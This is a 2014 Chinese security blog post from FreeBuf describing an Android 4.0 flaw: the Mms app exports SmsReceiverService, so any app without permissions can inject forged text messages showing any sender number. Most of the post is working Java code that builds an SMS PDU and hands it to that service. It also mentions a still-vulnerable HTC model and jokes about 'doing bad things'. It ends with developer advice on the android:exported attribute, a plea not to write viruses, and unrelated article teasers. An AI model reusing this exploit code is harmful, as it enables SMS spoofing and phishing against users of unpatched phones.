Android系统的阿基里斯之踵:伪造短信篇

标签: 终端安全 | 发表时间:2014-04-29 20:21 | 作者:kotobukki
出处:http://www.freebuf.com

导读:Android系统的日益强大,但Android平台的安全问题一直是其“阿基里斯之踵”。据统计,2012 年有 79% 的恶意软件都寄生于 Andriod 之上,此数字比 2011 年更高出 12.3%。相较之下,iOS 平台内的恶意软件仅占总量的 0.7%,继续成为最安全的移动系统。 本文利用android4.0的一个原生漏洞来伪造短信。无须声明任何权限即可伪造发送方为任何号码的短信给用户。 ‍‍

android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之所以现在才写这篇文章,就是觉得,该升级的基本已经都升级了,该打补丁的基本都已经打了补丁,所以现在差不多是时候了。

原生android4.0系统中,Mms.apk的manifest有这样一段

  1. <service android:name=".transaction.SmsReceiverService"  android:exported="true" />

android:exported="true",意味着SmsReceiverService这个Service暴露给了大家,也让病毒有机可乘

在stackoverflow上面,有人早就给出了伪造短信的方案,我们在这里就直接使用人家的代码好了

http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp

其中UCS-2处理是我新加上去的

private static void createFakeSms(Context context, String sender,  
        String body) {  
    byte[] pdu = null;  
    byte[] scBytes = PhoneNumberUtils  
            .networkPortionToCalledPartyBCD("0000000000");  
    byte[] senderBytes = PhoneNumberUtils  
            .networkPortionToCalledPartyBCD(sender);  
    int lsmcs = scBytes.length;  
    // 时间处理,包括年月日时分秒以及时区和夏令时  
    byte[] dateBytes = new byte[7];  
    Calendar calendar = new GregorianCalendar();  
    dateBytes[0] = SmsUtil  
            .reverseByte((byte) (calendar.get(Calendar.YEAR)));  
    dateBytes[1] = SmsUtil  
            .reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));  
    dateBytes[2] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.DAY_OF_MONTH)));  
    dateBytes[3] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.HOUR_OF_DAY)));  
    dateBytes[4] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.MINUTE)));  
    dateBytes[5] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.SECOND)));  
    dateBytes[6] = SmsUtil  
            .reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar  
                    .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));  
    try {  
        ByteArrayOutputStream bo = new ByteArrayOutputStream();  
        bo.write(lsmcs);// 短信服务中心长度  
        bo.write(scBytes);// 短信服务中心号码  
        bo.write(0x04);  
        bo.write((byte) sender.length());// 发送方号码长度  
        bo.write(senderBytes);// 发送方号码  
        bo.write(0x00);// 协议标示,00为普通GSM,点对点方式  
        try {  
            String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";  
            Class<?> cReflectedNFCExtras = Class  
                    .forName(sReflectedClassName);  
            Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(  
                    "stringToGsm7BitPacked", new Class[] { String.class });  
            stringToGsm7BitPacked.setAccessible(true);  
            byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,  
                    body);  
  
            bo.write(0x00); // encoding: 0 for default 7bit  
            bo.write(dateBytes);  
            bo.write(bodybytes);  
        } catch (Exception e) {  
            Log.i(TAG, "sender:" + sender + "\nbody:" + body, e);  
            // 下面是UCS-2编码的处理,中文短信就需要用此种方式  
            bo.write(0x08); // encoding: 8 for UCS-2  
            bo.write(dateBytes);  
            bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是从系统中复制过来的,并不是我写的  
            // 源码具体位置在  
            // frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java  
        }  
  
        pdu = bo.toByteArray();  
    } catch (IOException e) {  
        Log.e(TAG, "sender:" + sender + "\nbody:" + body, e);  
    }  
    // 上面的部分都是组织短信数据,下面是将数据传递给SmsReceiverService,让它来帮我们发送。虽然我们的程序没有发送短信的权限,但是人家有啊!  
    Intent intent = new Intent();  
    intent.setClassName("com.android.mms",  
            "com.android.mms.transaction.SmsReceiverService");  
    intent.setAction("android.provider.Telephony.SMS_RECEIVED");  
    intent.putExtra("pdus", new Object[] { pdu });  
    intent.putExtra("format", "3gpp");  
    context.startService(intent);  
}  
  
public static byte reverseByte(byte b) {  
    return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);  
}

我们看看在SmsMessage.java中的getSubmitPdu处理user data的方式

  1. // User Data (and length)  
    byte[] userData;  
    try {  
        if (encoding == ENCODING_7BIT) {  
            userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header,  
                    languageTable, languageShiftTable);  
        } else { //assume UCS-2  
            try {  
                userData = encodeUCS2(message, header);  
            } catch(UnsupportedEncodingException uex) {  
                Log.e(LOG_TAG,  
                        "Implausible UnsupportedEncodingException ",  
                        uex);  
                return null;  
            }  
        }  
    } catch (EncodeException ex) {  
        // Encoding to the 7-bit alphabet failed. Let&#039;s see if we can  
        // send it as a UCS-2 encoded message  
        try {  
            userData = encodeUCS2(message, header);  
            encoding = ENCODING_16BIT;  
        } catch(UnsupportedEncodingException uex) {  
            Log.e(LOG_TAG,  
                    "Implausible UnsupportedEncodingException ",  
                    uex);  
            return null;  
        }  
    }

先看是不是7-bit编码方式,如果不是,那么就假设是UCS-2编码,如果抛出EncodeException,那么也尝试UCS-2编码


下面附上encodeUCS2代码

  1. /** 
     * Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if 
     * necessary 
     *  
     * @return 
     * @throws UnsupportedEncodingException 
     */  
    public static byte[] encodeUCS2(String message, byte[] header)  
            throws UnsupportedEncodingException {  
        byte[] userData, textPart;  
        textPart = message.getBytes("utf-16be");  
      
        if (header != null) {  
            // Need 1 byte for UDHL  
            userData = new byte[header.length + textPart.length + 1];  
      
            userData[0] = (byte) header.length;  
            System.arraycopy(header, 0, userData, 1, header.length);  
            System.arraycopy(textPart, 0, userData, header.length + 1,  
                    textPart.length);  
        } else {  
            userData = textPart;  
        }  
        byte[] ret = new byte[userData.length + 1];  
        ret[0] = (byte) (userData.length & 0xff);  
        System.arraycopy(userData, 0, ret, 1, userData.length);  
        return ret;  
    }

现在,我们就可以在原生android4.0上面干坏事了,如果你在真机上面发现上面的代码不起作用,那么很有可能人家已经修复了漏洞,所以你也别总想着干坏事。

不过……HTC G14上面的漏洞还是存在的,起码前两个月是这个样子,没关系,我已经换了手机……

 


另外值得一提是android:exported这个属性

我们可以在android官方文档中看到如下说明

http://developer.android.com/about/versions/jelly-bean.html#42-platform-tech

ContentProvider default configuration — Applications which target API level 17 will have “export” set to “false” by default for each ContentProvider, reducing default attack surface for applications.

这意味着什么呢?

之前,你可以不用显式设置export这个属性,别人也可以调用你的ContentProvider,但是你的应用放到了Android4.2(API17)上面,那么别人再调用你的ContentProvider的时候就会抛出异常,进而导致应用崩溃

这是时候,我们就必须在manifest文件中显式给export赋值为true

之前就遇到了这样的问题,应用放在4.1上面没有问题,放到4.2上就crash,调查了半天,才发现原因在这里

看来关键的属性还是显式声明的好,因为没准哪一天,它的默认值就变了

下面是一些相关内容

GSM 03.38 from Wikipedia

请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!

相关 [android 系统 阿基里斯] 推荐:

Android系统的阿基里斯之踵:伪造短信篇

- - FreeBuf.COM
‍‍ 导读:Android系统的日益强大,但Android平台的安全问题一直是其“阿基里斯之踵”. 据统计,2012 年有 79% 的恶意软件都寄生于 Andriod 之上,此数字比 2011 年更高出 12.3%. 相较之下,iOS 平台内的恶意软件仅占总量的 0.7%,继续成为最安全的移动系统.

Android是个好系统

- - 月光博客
  仅凭一个Android,Google完全有资格领好人卡. 因为Android开源,就可以放心大胆的做各种“美化”、“定制”、“深度定制”. 而Google对这些行为不能抗议、强烈谴责、严正交涉,只能不满和深表遗憾.   对于Android在中国的情况,Williamlong认为:.    @williamlong: 对于互联网公司做手机,我会鄙视那些所谓“深度定制”而实际是删除谷歌帐号的那些平台,这不是国家政策方面的问题,谷歌应用删除了无所谓,用户可以自己安装,但是将谷歌帐号删除掉之后,用户只有通过刷机等复杂操作才能安装谷歌应用商店和其他谷歌应用,这对于用户来说是一种恶意绑架行为.

Android操作系统安全

- - CSDN博客推荐文章
        Android在迅猛发展的同时,其安全问题一直没有引起足够的重视,但在2010年6月研究人员发布Android平台的KernelRootkit以来,Android平台的安全问题引来了越来越多的关注,而同时,Android平台的恶意软件也开始流行起来.        根据以上的Android系统架构分析,可以发现在三个层面可能存在恶意软件.

Android 系统架构分析

- - CSDN博客移动开发推荐文章
Android:开源的 Linux + Google 的封闭软件 + 私有的基带 + 运营商锁定 = 开放的 Android 手机. iPhone:开源的 BSD + 苹果的闭源软件 + 私有的基带 + 运营商锁定 = 封闭的苹果 iPhone. 一个平庸的应用商店,开发者依靠广告赚钱,商店并非独此一家,用户找不到好软件.

MIUI是个不错的Android UI系统

- Keven - Engadget 中国版
显然,点心不是唯一的专为中国用户打造的Android UI,你还可以选择民间的另一个版本:MIUI,也是不错,中国原创Android ROM小组出品,基于Android 2.2 原生开发,对短信和电话做了速度提升,同时整个UI和动画的切换也做了提升,感觉很不错,有兴趣的可以去官方网站去看看,目前支持Nexus One/HTC Desire G7,更多版本应该会在后续到来.

J.Wong:MX、M9都有Android 4.0系统更新

- Adam - cnBeta.COM
近期不少煤油纷纷在论坛上发帖询问,魅族梦想机MX何时能用上Android 4.0系统. 对于如此敏感的话题,J.Wong现身给予回应称,会尽快为MX和M9带来Ice Cream Sandwich系统的更新. 当一位煤油发帖询问MX上市会不会跳票时,J.Wong意外现身并跟帖回复称,MX将会保持原计划在12月份正式上市.

AndroZip-Android系统解压缩软件

- - 无名小卒
         AndroZip是一款Android平台的解压缩/压缩软件,在Android设备上压缩或解压缩ZIP, RAR, 7ZIP, GZIP, TAR, BZIP2格式文档. 1、内建程序管理,可备份程序到存储卡. 2、可解压压缩大小为64 kb, 1MB, 2MB, 3MB, 4MB, 6MB的7Z文件,快速查看ZIP和RAR文件中的内容.

Android 4.0.3来了 优化系统

- - 移动App
最近发现谷歌对Android态度有个趋势,越来越关注Android的系统优化这快 包括硬件加速 ,内存优化等,这不今天更新了Android 4.0.3最大的提升是硬件优化方面. 新版 Android 包括了面向平板和手机平台的系统优化和漏洞修复,以及面向开发者的少量新 API. 新 API 包括联系人程序支持服务社交流 API,日历程序支持服务改进,新的相机性能(应用可检查和管理视频稳定性,必要时可利用 QVGA 分辨率文档),已经提供了易用性(文本转语音引擎采用新的状态和错误报告).

mac系统连接android手机

- - CSDN博客移动开发推荐文章
mac系统不能连接android手机问题的解决方案:. 2、找到android手机的vendor ID:.      终端执行CMD:  system_profiler SPUSBDataType. 在列出的usb设备中找到自己的手机,copy下vendor ID. 3、将vandor ID放到配置文件中:  ~/.android/adb_usb.ini.

Linux 和 Android 系统性能分析

- - CSDN博客综合推荐文章
作为一名Linux 或 Android 平台的系统工程师,在开发系统新功能外,主要工作就是优化系统性能,使系统上以最优的状态运行,但是由于硬件问题、软件问题、网络环境等的复杂性和多变性,导致对系统的优化变得异常复杂,如何定位性能问题出在哪个方面,是性能优化的一大难题, 从系统入手,阐述由于系统软、硬件配置不当可能造成的性能问题,并且探讨检测系统故障和优化性能的一般方法和流程.